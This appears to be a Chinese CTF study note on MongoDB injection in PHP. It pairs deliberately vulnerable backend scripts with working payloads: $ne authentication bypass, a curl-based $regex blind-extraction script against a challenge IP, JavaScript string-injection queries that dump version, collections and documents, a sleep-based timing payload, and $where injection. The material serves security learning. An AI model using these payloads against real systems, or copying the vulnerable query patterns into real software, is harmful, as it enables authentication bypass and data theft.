之前做比赛题经常会遇到mongodb注入,每次都一知半解一脸懵逼,总结一下
MongoDB概括
记下增删改查(php5)
直接调用类方法
1 | $mongodb = new mongoclient(); //建立连接 |
execute方法
1 | $monggdb = new mongoclient(); //建立连接 |
在php7中的利用会很麻烦,很多函数都不一样了,还有很多坑,所以还是建议php5写
php71
2
3$mongo = new MongoDB\Driver\Manager();
$result = $mongo->executeQuery('db.collection', new MongoDB\Driver\Query(['uid'=>$id], []), new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED));
// 返回的$result是一个对象,需要手动转换成数组。
攻击
基本操作
在学习注入之前,先要学一下MongoDB的逻辑操作符1
2
3
4
5
6
7
8
9
10gt 大于 {"field": {$gt: value}}
lt 小于 {"field": {$lt: value}}
gte 大于等于 {"field": {$gte: value}}
lte 小于等于 {"filed": {$lte: value}}
ne 不等于 {"member.age": {$ne: "nine"}}
exists 是否存在 {"array.0" {$exists: 1}} #数组中是否存在第一条数据
or 或者 {"$or": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
and 并且 {"$and": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
regex 正则 ({"name": {"$regex": "^a$"}})
size 个数 ({"name": {"$size": 3}}) #$size name元素个数为3
数组绑定时注入
$ne注入
先去扒一个脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$mongo = new mongoclient("mongodb://127.0.0.1");
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
可以看到,这个脚本会将输入的username和password扔去数据库找,如果有,就全部显示出来
正常我们查询是1
username=xiaorouji&password=123456
这个时候后台的查询语句是1
db.test.find({username:'xiaorouji',password:'123456'})
但是,如果我们输入的语句是1
username[$ne]=xiaorouji&password[$ne]=123456
这样子,后台语句就会变成1
db.test.find({username:{'$ne':'xiaorouji'},password:{'$ne':'123456'}})
这样就能获得后台除了xiaorouji这个账号的其他全部账号的信息了
$regex注入
正则注入跟布尔盲注差不多,也是当页面只返回true或者false的时候,让他去一个个匹配,最终拿到值
给一题hctf的题目,后台大致代码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'xxxxxxxx'&&$key=='xxxxxxxxx') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
可以看到只有正确和错误的两种回显,payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i=0; $i <10 ; $i++) {
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 319) {
$str.=$ori[$j];
echo $str."\r\n";
break;
}
}
}
在数据库中的执行语句是1
db.test.find({lock:{'$regex':'^a'}});
拼接字符串注入
这种注入跟sql里面最基本的回显注入类似,举个栗子1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
首先我们先尝试一下1
username=123'&password=123
这样我们首先会收到报错,因为单引号没有闭合,接下来尝试一个闭合语句
这里有个坑点就是高版本的MongoDB好像不支持注释符,所以直接拿注释符注释后面实际上是不行的1
username=test'});return ({username:1,password:2});var foo = ({'foo':'&password=123
这样子后台还是可以返回一个数据,也就刚好能绕过前面的限制,获得特定的信息
爆mongodb版本1
username=test'});return ({username:version(),password:2});var foo = ({'foo':'
爆当前数据库1
username=test'}); return ({username:toJson(db),password:2});var foo = ({'foo':'
爆所有表1
username=test'}); return ({username:toJson(db.getCollectionNames()),password:2}); var foo = ({'1&password=123
查看文档db.collection.find()
这个函数在无参的时候会返回集合中的所有文档以及里面的所有字段1
2
3username=test'}); return ({username:toJson(db.test.find()),password:2}); ({foo:'123&password=123
#查看单条信息
username=test'}); return ({username:toJson(db.test.find()[1]),password:2}); ({foo:'123&password=123
当然这中间还可以有更多的语句操作,不一一列举了
时间盲注
跟sql的时间盲注原理相似,放个payload1
username=test'}); if (db.version()>"0"){sleep(10000);exit;} var b=({a:'1&password=123
这样就能成功延时了
$where注入
MongoDB里面的$where跟sql的where很相似,都是加入限制条件进行查询。但是MongoDB里面的$where操作符常常会引入一个js函数作为 限制条件来造成注入
后台代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->news; //选择集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
上面这个代码如果我们输入news=test'%26%26'1'='1
会返回正常页面,然后输入news=test'%26%26'1'='2
会返回异常页面,那么我们就可以尝试一下进行注入了
爆数据表名1
news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1